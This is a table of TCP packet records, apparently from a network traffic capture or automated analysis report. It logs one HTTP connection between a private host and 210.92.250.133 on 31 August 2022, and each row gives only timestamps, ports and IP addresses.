Aug 31, 2022 14:28:27.417423964 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.417455912 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417503119 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417546034 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417587042 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417597055 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.417609930 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.417649031 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417694092 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.418598890 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.421597004 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.421674013 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.666572094 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666630030 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666667938 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666723013 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666768074 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.666770935 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666785955 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.666819096 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666867018 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666908979 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666954041 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.666956902 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.666959047 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667000055 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667047024 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667088985 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667135000 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667136908 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667141914 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667180061 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667233944 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667273998 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667319059 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667321920 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667324066 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667402983 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667445898 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667483091 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667525053 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667570114 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667609930 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667610884 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667659998 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667697906 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667741060 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667748928 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667754889 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667794943 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667836905 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667881966 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667885065 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667886019 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.667927027 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.667973042 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668018103 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668061972 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668064117 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668067932 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668106079 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668153048 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668193102 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668236017 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668240070 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668242931 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668284893 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668329954 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668374062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668412924 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668415070 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668462038 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668504953 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668509960 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668510914 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668553114 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668601036 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668642044 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.668684959 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.668694973 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.672363043 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.672410011 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.672883034 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.917247057 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917295933 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917363882 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.917371988 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917402029 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917448997 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.917459965 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917488098 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917515993 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917535067 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917577028 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.917587042 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917589903 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.917623997 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917651892 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917665958 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.917808056 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.917900085 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.917912006 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918006897 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918062925 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.918164968 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918318033 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918400049 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.918428898 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918494940 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918539047 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.918621063 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918811083 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.918873072 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.918972015 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919058084 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919106007 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919117928 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.919261932 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919317007 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.919723034 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919742107 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919756889 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919773102 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919791937 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919812918 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919821978 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.919828892 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919852018 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919868946 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.919869900 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919873953 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.919891119 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919893980 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.919909954 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919930935 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919948101 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919964075 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919981956 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.919984102 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.919991016 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920000076 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920020103 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920037985 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920042038 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920042992 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920058966 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920075893 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920094013 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920115948 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920118093 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920125008 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920135975 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920154095 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920171976 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920188904 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920192003 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920193911 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920209885 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920229912 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920247078 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920267105 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920269012 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920272112 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920284986 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920305014 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920321941 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920341015 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920344114 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920347929 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920361996 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920382023 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920403004 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920418024 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920439005 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920447111 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920455933 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920473099 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920490026 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920490980 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920509100 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920526981 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920546055 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920547962 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920557976 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920566082 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920584917 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920584917 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920603037 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920620918 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920639992 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920656919 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920661926 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920667887 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920675993 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920695066 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920713902 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920733929 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920733929 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920739889 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920752048 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920770884 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920780897 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920789003 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920809984 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920828104 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920845032 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920847893 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920852900 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920862913 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920882940 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920887947 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920901060 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920919895 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920938015 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920955896 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920958996 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920963049 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.920975924 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.920996904 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.921014071 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.921037912 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.921042919 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.921123981 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.921205997 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.921246052 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.921262980 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.921288967 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.921300888 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.925442934 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166194916 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166229963 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166254997 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166279078 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166310072 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166335106 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166404009 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166573048 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166599035 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166623116 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166623116 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166646957 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166671038 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166722059 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166726112 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166743040 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166766882 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166790009 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166815042 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166838884 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166855097 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166860104 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166862965 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166923046 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166945934 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166969061 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.166985035 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166987896 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.166991949 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167016029 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167038918 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167062044 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167085886 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167085886 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.167089939 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.167109013 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167131901 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167146921 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.167155027 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167177916 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167217970 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167223930 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.167227983 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.167536020 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167563915 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167587996 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167630911 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167637110 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.167648077 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.167686939 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.167710066 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.168323040 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.169706106 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169735909 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169759989 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169780970 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169801950 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169823885 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169847012 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169851065 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.169866085 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.169871092 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169894934 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169918060 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169943094 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169948101 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.169951916 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.169966936 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.169989109 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170011997 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170034885 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170036077 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170039892 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170059919 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170085907 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170114040 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170140982 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170145035 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170217037 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170241117 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170264006 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170275927 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170288086 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170311928 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170335054 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170345068 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170358896 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170383930 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170407057 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170414925 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170418978 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170433998 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170456886 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170491934 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170516014 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170516968 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170522928 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170538902 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170562983 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170587063 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170608997 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170609951 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:28.170613050 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:28.170634031 CEST	80	49723	210.92.250.133	192.168.2.4
